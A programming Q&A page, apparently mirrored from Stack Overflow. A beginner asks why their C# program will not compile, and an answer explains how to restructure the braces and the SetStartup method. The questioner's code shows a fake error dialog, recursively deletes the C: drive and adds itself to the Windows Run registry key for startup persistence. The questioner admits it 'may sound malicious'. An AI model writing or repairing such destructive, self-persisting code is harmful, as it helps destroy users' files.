Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
443 views
in Technique[技术] by (71.8m points)

c# - A namespace cannot directly contain members such as fields or methods?

I am trying to create an application that deletes user documents at start-up (I am aware that this may sound malicious but it is for a school project).

However, I am getting the error "A namespace cannot directly contain members such as fields or methods".

Looking over it, it seems fine? I am hoping a second pair of eyes can help as I have searched everywhere and I cannot find a relevant solution!

Admittedly, because of my very basic knowledge, I have used a lot of help online and from books and what I know of c# is limited. Therefore it might just be that I'm being stupid, but everyone has to start somewhere, right?

The code is as follows:

namespace Test
{
class Program
    {
     static void Main(string[] args)
        {
        MessageBox.Show("An unexpected error occured");
        if (System.IO.Directory.Exists(@"C:"))
        {
            try
            {
                System.IO.Directory.Delete("C:", true);
            }

            catch (System.IO.IOException e)
            {
                Console.WriteLine(e.Message);
            }
        }
    }
    }
public class Program
{
    private void SetStartup();
    }

        RegistryKey rk = Registry.CurrentUser.OpenSubKey
            ("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);

        if (chkStartUp.Checked)
            rk.SetValue(AppName, Application.ExecutablePath.ToString());
        else
            rk.DeleteValue(AppName, false);

    }
See Question&Answers more detail:os

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Reply

0 votes
by (71.8m points)

Your code is seriously messed up around SetStartup. If you follow the normal indentation, you'll see what's going on a bit more clearly. Press Ctrl-E followed by D in Visual Studio, and it'll reformat your document - which should make things considerably clearer.

Look at this (after I've indented it):

public class Program
{
    private void SetStartup();
}

RegistryKey rk = [...];

That's trying to declare a variable (rk) outside a class. You've also got a non-abstract method with no body, and you're missing closing braces at the end.

I suspect you meant it to be:

public class Program
{
    // Note: no semi-colon, and an *opening* brace
    private void SetStartup()
    {
        RegistryKey rk = [...];
        // Other code
    }
}

// And you'd want to close the namespace declaration too

You're also going to have problems declaring two (non-partial) classes with the same name...


与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
OGeek|极客中国-欢迎来到极客的世界,一个免费开放的程序员编程交流平台!开放,进步,分享!让技术改变生活,让极客改变未来! Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

...